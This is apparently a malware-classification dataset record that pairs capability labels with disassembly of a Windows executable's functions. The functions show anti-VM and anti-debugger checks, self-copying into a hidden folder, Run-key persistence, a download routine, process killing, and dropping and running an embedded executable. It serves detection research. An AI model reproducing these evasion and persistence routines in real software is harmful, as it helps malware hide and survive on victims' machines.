joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003ee0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x390]
sub rsp, 0x490
mov rax, qword [0x14003a8d0]
xor rax, rsp
mov qword [rbp + 0x380], rax
lea rcx, str.vmware.exe
call fcn.140006600
xor edi, edi
test al, al
jne 0x14000409c
lea rcx, str.vmware_vmx.exe
call fcn.140006600
test al, al
jne 0x14000409c
lea rcx, str.vboxservice.exe
call fcn.140006600
test al, al
jne 0x14000409c
lea rcx, str.vboxtray.exe
call fcn.140006600
test al, al
jne 0x14000409c
call fcn.140005450
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
cmp eax, 1
jne 0x140003f76
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, [rbp + 0x170]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140003fa1
lea rcx, [rbp + 0x170]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r8, rax
jmp 0x140003fa8
lea r8, str.Unknown
or rbx, 0xffffffffffffffff
lea rcx, [rsp + 0x60]
mov edx, 0x104
mov r9, rbx
call fcn.140011d1c
lea rdx, str.relog.exe
lea rcx, [rsp + 0x60]
call fcn.140020808
test eax, eax
je 0x140004035
call fcn.140005ec8
lea rcx, [rsp + 0x40]
call fcn.1400063b0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
mov r9, rbx
xor r8d, r8d
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x20], di
call fcn.140002300
lea rcx, [rsp + 0x20]
call fcn.1400061fc
call fcn.1400019c4
test eax, eax
jne 0x140004023
call fcn.140003d84
int3
cmp qword [rsp + 0x58], 8
jb 0x140004035
mov rcx, qword [rsp + 0x40]
call fcn.140011398
lea rdx, str.relog.exe
lea rcx, [rsp + 0x60]
call fcn.140020808
test eax, eax
jne 0x140004093
lea r8, [0x14002f6a8]
lea edx, [rax + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
test rax, rax
je 0x140004083
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140004083
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140007c14
call fcn.140006d98
call fcn.140003d84
int3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x14000527c
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r14
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rbx, r8
xor r9d, r9d
mov r14, rdx
mov rsi, rcx
lea edx, [r9 + 4]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
jne 0x1400052d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14000531d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
mov r8d, 0x3000
mov edx, eax
lea r9d, [rcx + 4]
mov qword [r14], rdx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x1400052cc
mov r8, qword [r14]
mov rdx, rdi
mov rcx, rax
call fcn.140010c00
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x140005334
Capabilities:
Terminate process

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14003a8d0]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor edi, edi
or rsi, 0xffffffffffffffff
mov qword [r11 - 0x20], 7
mov qword [r11 - 0x28], rdi
mov word [rsp + 0x20], di
mov rbx, rcx
cmp word [rdx], di
jne 0x140005377
mov r8d, edi
jmp 0x140005384
mov r8, rsi
inc r8
cmp word [rdx + r8*2], di
jne 0x14000537a
lea rcx, [rsp + 0x20]
call fcn.140001f88
mov rax, qword [rbx]
cmp rax, qword [rbx + 8]
je 0x14000540c
mov r11, qword [rsp + 0x30]
cmp qword [rax + 0x18], 8
mov r10, qword [rax + 0x10]
jb 0x1400053ac
mov rdx, qword [rax]
jmp 0x1400053af
mov rdx, rax
cmp qword [rsp + 0x38], 8
lea r8, [rsp + 0x20]
mov r9, r10
cmovae r8, qword [rsp + 0x20]
cmp r11, r10
cmovb r9, r11
test r9, r9
jmp 0x1400053e3
movzx ecx, word [rdx]
cmp word [r8], cx
jne 0x14000543b
add r8, 2
add rdx, 2
dec r9
jne 0x1400053cf
mov ecx, edi
movsxd rdx, ecx
cmp r11, r10
mov ecx, edi
setne cl
cmp r11, r10
cmovb ecx, esi
test rdx, rdx
cmovne ecx, edx
test ecx, ecx
je 0x140005444
add rax, 0x20
cmp rax, qword [rbx + 8]
jne 0x14000539c
cmp qword [rsp + 0x38], 8
jb 0x14000541e
mov rcx, qword [rsp + 0x20]
call fcn.140011398
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140010b20
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
sbb ecx, ecx
and ecx, 0xfffffffe
inc ecx
jmp 0x1400053e7
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140005ec8
Capabilities:
Get token privileges

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x14003a8d0]
xor rax, rsp
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140005fa1
mov rcx, qword [rsp + 0x38]
and dword [rsp + 0x30], 0
xor r9d, r9d
lea rax, [rsp + 0x30]
lea edx, [r9 + 3]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ecx, dword [rsp + 0x30]
call fcn.140011124
mov r9d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
mov rbx, rax
lea rax, [rsp + 0x30]
mov edx, 3
mov r8, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140005f8e
xor ecx, ecx
cmp dword [rbx], ecx
jbe 0x140005f6d
mov eax, ecx
inc ecx
inc rax
lea rax, [rax + rax*2]
or dword [rbx + rax*4], 2
cmp ecx, dword [rbx]
jb 0x140005f5a
and qword [rsp + 0x28], 0
mov r9d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
and qword [rsp + 0x20], 0
mov r8, rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.1400110e4
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140010b20
add rsp, 0x50
pop rbx
ret

Function at 0x140005fb4
Capabilities:
Get common file path
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x14003a8d0]
xor rax, rsp
mov qword [rbp + 0x70], rax
xor eax, eax
mov rdi, rcx
xor ebx, ebx
lea rcx, [rsp + 0x60]
mov edx, 0x104
mov byte [rsp + 0x58], bl
mov dword [rsp + 0x59], eax
mov word [rsp + 0x5d], ax
mov byte [rsp + 0x5f], al
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
movzx ecx, byte [rsp + 0x60]
mov dword [rsp + 0x38], ebx
lea edx, [rbx + 0x43]
test eax, eax
cmove ecx, edx
mov qword [rsp + 0x30], rbx
lea r9, [rsp + 0x40]
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x58], cl
lea rcx, [rsp + 0x58]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], rbx
mov word [rsp + 0x59], 0x5c3a
mov byte [rsp + 0x5b], bl
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [rsp + 0x40]
mov ecx, 0x69427551
imul eax, eax, 0x14a30b
sub eax, ecx
mov dword [rsp + 0x48], eax
imul eax, eax, 0x14a30b
sub eax, ecx
imul eax, eax, 0x14a30b
sub eax, ecx
mov word [rsp + 0x4e], ax
imul eax, eax, 0x14a30b
inc rbx
sub eax, ecx
mov byte [rsp + rbx + 0x4f], al
cmp rbx, 8
jl 0x140006077
movzx r9d, word [rsp + 0x4e]
mov r8d, dword [rsp + 0x48]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x52]
lea rdx, str._08lX_04lX_lu
mov rcx, rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.140010b20
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x1400060d4
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xf0
mov rax, qword [0x14003a8d0]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rbx, rcx
mov edi, 0x68
lea rcx, [rbp - 0x29]
mov r8d, edi
xor edx, edx
call fcn.140014770
xor eax, eax
mov dword [rbp - 0x29], edi
xor edi, edi
cmp qword [rbx + 0x18], 8
mov dword [rbp + 0x13], 1
mov word [rbp + 0x17], di
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x41], rax
mov qword [rbp - 0x39], rax
jb 0x140006137
mov rbx, qword [rbx]
lea rax, [rbp - 0x49]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x29]
mov rdx, rbx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1400061b9
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.CreateProcess_failed__
lea rcx, [0x14004ede0]
mov ebx, eax
call fcn.14000cef8
mov edx, ebx
mov rcx, rax
call fcn.140009460
lea rdx, [0x14002f6c0]
mov rcx, rax
call fcn.14000cef8
mov rcx, rax
mov rbx, rax
call fcn.1400095c4
mov rcx, rbx
call fcn.1400096d8
jmp 0x1400061da
mov rcx, qword [rbp - 0x49]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140010b20
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x1400062e0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x14003a8d0]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
lea rax, [rsp + 0x30]
lea rdx, [0x14002f770]
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x14000634d
lea rdx, str.Failed_to_open_registry_key.
lea rcx, [0x14004ede0]
call fcn.14000cef8
mov rcx, rax
mov rbx, rax
call fcn.1400095c4
mov rcx, rbx
call fcn.1400096d8
xor al, al
jmp 0x14000639c
or rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], 0
jne 0x140006351
mov rcx, qword [rsp + 0x30]
inc eax
lea rdx, str.Services
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x14000639a
lea rdx, str.Failed_to_set_registry_value.
jmp 0x14000632a
mov al, 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140010b20
add rsp, 0x40
pop rbx
ret
Function at 0x1400063b0
Capabilities:
Copy file
Create directory
Get common file path
Set file attributes

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x1e8]
sub rsp, 0x2e0
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x14003a8d0]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
mov rbx, rcx
xor esi, esi
mov dword [rsp + 0x30], esi
mov byte [rbp - 0x80], sil
xor edx, edx
lea r8d, [rsi + 0x22]
lea rcx, [rbp - 0x7f]
call fcn.140014770
lea rcx, [rbp - 0x80]
call fcn.140005fb4
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rsi + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x14000644d
mov qword [rbx + 0x18], 7
mov qword [rbx + 0x10], rsi
mov word [rbx], si
xor r8d, r8d
lea rdx, [0x14002f6bc]
mov rcx, rbx
call fcn.140001f88
jmp 0x1400065d7
lea rdx, [0x14002f6ac]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x140006489
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140006427
mov r8d, 0x104
lea rdx, [rbp + 0xc0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [0x14002f6ac]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x14002f6b0]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, 2
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor r8d, r8d
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x140006427
mov qword [rsp + 0x58], 0xf
mov qword [rsp + 0x50], rsi
mov byte [rsp + 0x40], sil
cmp byte [rbp - 0x50], sil
jne 0x140006517
mov r8, rsi
jmp 0x140006528
lea rax, [rbp - 0x50]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], sil
jne 0x14000651f
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x40]
call fcn.140001e88
nop
lea rdx, [rbp - 0x50]
call fcn.1400062e0
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae r8, qword [rsp + 0x40]
add r8, qword [rsp + 0x50]
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov qword [rsp + 0x78], 7
mov qword [rsp + 0x70], rsi
mov word [rsp + 0x60], si
lea rcx, [rsp + 0x60]
call fcn.14000e1cc
mov qword [rbx + 0x18], 7
mov qword [rbx + 0x10], rsi
mov word [rbx], si
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.14000ac80
cmp qword [rsp + 0x78], 8
jb 0x1400065b2
mov rcx, qword [rsp + 0x60]
call fcn.140011398
mov qword [rsp + 0x78], 7
mov qword [rsp + 0x70], rsi
mov word [rsp + 0x60], si
cmp qword [rsp + 0x58], 0x10
jb 0x1400065d7
mov rcx, qword [rsp + 0x40]
call fcn.140011398
mov rax, rbx
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.140010b20
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140006600
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x14003a8d0]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000663f
xor al, al
jmp 0x14000668f
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
test eax, eax
je 0x140006684
jmp 0x14000666e
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call fcn.140011ba8
test eax, eax
je 0x140006682
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000665d
jmp 0x140006684
mov bl, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140010b20
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140006874
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x14003a8d0]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, rdx
lea rax, [r11 - 0x18]
mov rbx, rcx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [r11 - 0x28], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor esi, esi
test eax, eax
jne 0x140006911
or rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], si
jne 0x1400068c8
mov rcx, qword [rsp + 0x30]
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
test eax, eax
jne 0x14000690b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x140006913
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140010b20
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x140006d98
Capabilities:
Create http request
Get common file path
Reference http user-agent string

Disassembly:
sub rsp, 0x468
mov rax, qword [0x14003a8d0]
xor rax, rsp
mov qword [rsp + 0x450], rax
lea rdx, [rsp + 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x140006dcc
mov eax, 1
jmp 0x140006e4b
lea r8, str.SystemUpdate.exe
lea rcx, [rsp + 0x30]
mov edx, 0x104
call fcn.140013ac0
and dword [rsp + 0x20], 0
xor r9d, r9d
lea edx, [r9 + 1]
lea rcx, str.Mozilla_5.0
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenW]
test rax, rax
je 0x140006e49
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.140002a98
test al, al
je 0x140006e49
xor r9d, r9d
lea rax, [rsp + 0x240]
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x140006e49
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x30]
call fcn.140006930
xor eax, eax
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140010b20
add rsp, 0x468
ret

Function at 0x140006e64
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x1a8]
sub rsp, 0x2a0
mov rax, qword [0x14003a8d0]
xor rax, rsp
mov qword [rbp + 0x198], rax
mov r14, rcx
xor esi, esi
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140006eb7
xor eax, eax
jmp 0x140006fa2
or eax, 0xffffffff
lea rdx, [rsp + 0x30]
mov rcx, rbx
mov dword [rsp + 0x30], 0x238
mov dword [rbp + 0x170], eax
mov dword [rbp + 0x174], eax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x140006f8f
lea rax, [rsp + 0x5c]
mov rdx, r14
sub rdx, rax
movzx ecx, word [rax]
movzx r8d, word [rax + rdx]
sub ecx, r8d
jne 0x140006f02
add rax, 2
test r8d, r8d
jne 0x140006eec
test ecx, ecx
jne 0x140006f81
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140006f81
lea rax, [rbp + 0x180]
lea r9, [rbp + 0x190]
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0x178]
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
test eax, eax
je 0x140006f78
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jns 0x140006f78
mov rax, qword [rbp + 0x178]
mov esi, dword [rsp + 0x38]
mov qword [rbp + 0x170], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006ee1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rbp + 0x198]
xor rcx, rsp
call fcn.140010b20
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140006fd0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x14003a8d0]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140007093
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x140007086
lea rax, [rsp + 0x4c]
mov rdx, rsi
sub rdx, rax
movzx ecx, word [rax]
movzx r8d, word [rax + rdx]
sub ecx, r8d
jne 0x140007048
add rax, 2
test r8d, r8d
jne 0x140007032
test ecx, ecx
jne 0x140007078
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140007078
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140007027
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140010b20
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1400073b8
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x260
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rax, qword [0x14003a8d0]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, rcx
mov qword [rsp + 0x30], rcx
xor ebx, ebx
mov dword [rsp + 0x20], ebx
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov qword [rdi + 0x18], 7
mov qword [rdi + 0x10], rbx
mov word [rdi], bx
cmp word [rsp + 0x40], bx
je 0x14000742b
lea rcx, [rsp + 0x40]
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bx
jne 0x14000741f
mov rbx, rax
mov r8, rbx
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140001f88
mov dword [rsp + 0x20], 1
lea rdx, str.driversetchosts
mov rcx, rdi
call fcn.140001ca8
mov rax, rdi
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140010b20
mov rbx, qword [rsp + 0x278]
add rsp, 0x260
pop rdi
ret
Function at 0x140009220
Capabilities:
Create process on windows
Delete file
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x238]
sub rsp, 0x330
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14003a8d0]
xor rax, rsp
mov qword [rbp + 0x220], rax
mov rdi, rcx
lea rdx, [0x140050450]
mov ebx, 0x104
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rbp + 0x10]
xor r8d, r8d
lea rdx, str.temp_
lea rcx, [0x140050450]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea r8, str..exe
mov edx, ebx
lea rcx, [rbp + 0x10]
call fcn.140013ac0
xor esi, esi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400092d8
xor al, al
jmp 0x140009418
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x70]
mov r8d, 0x12800
lea rdx, [0x14003bf60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp - 0x78], 7
mov qword [rbp - 0x80], rsi
mov word [rsp + 0x70], si
mov ebx, 1
mov r8d, ebx
lea rdx, [0x14003226c]
lea rcx, [rsp + 0x70]
call fcn.140001f88
nop
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x70]
call fcn.140001ca8
lea rdx, [0x140032270]
lea rcx, [rsp + 0x70]
call fcn.140001ca8
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.1400021cc
lea edi, [rbx + 0x67]
mov r8d, edi
xor edx, edx
lea rcx, [rbp - 0x60]
call fcn.140014770
mov dword [rbp - 0x60], edi
xor eax, eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 8
cmovae rdx, qword [rsp + 0x70]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140009402
or edx, 0xffffffff
